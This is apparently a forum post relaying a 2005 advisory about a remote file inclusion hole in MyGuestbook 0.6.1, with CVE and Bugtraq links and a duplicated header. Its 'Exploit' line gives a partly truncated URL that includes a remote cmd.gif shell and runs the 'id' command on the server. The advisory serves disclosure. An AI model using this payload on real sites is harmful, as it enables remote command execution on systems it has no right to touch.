This was discovered/posted on July 5 by SoulBlack Security Research:
http://archives.neohapsis.com/archives/bugtraq/2005-07/0040.html
http://www.soulblack.com.ar/repo/papers/advisory/myguestbook_advisory.tx
t
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2162
http://osvdb.org/17750
: Remote File Inclusion in MyGuestbook
:
: version: 0.6.1
:
: Exploit :
: http://server/Guestbook/form.inc.ph...cmd.gif?&cmd=id
:
: Discovery by RoDheDoR
This was discovered/posted on July 5 by SoulBlack Security Research:
http://archives.neohapsis.com/archives/bugtraq/2005-07/0040.html
http://www.soulblack.com.ar/repo/papers/advisory/myguestbook_advisory.tx
t
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2162
http://osvdb.org/17750
[ reply ]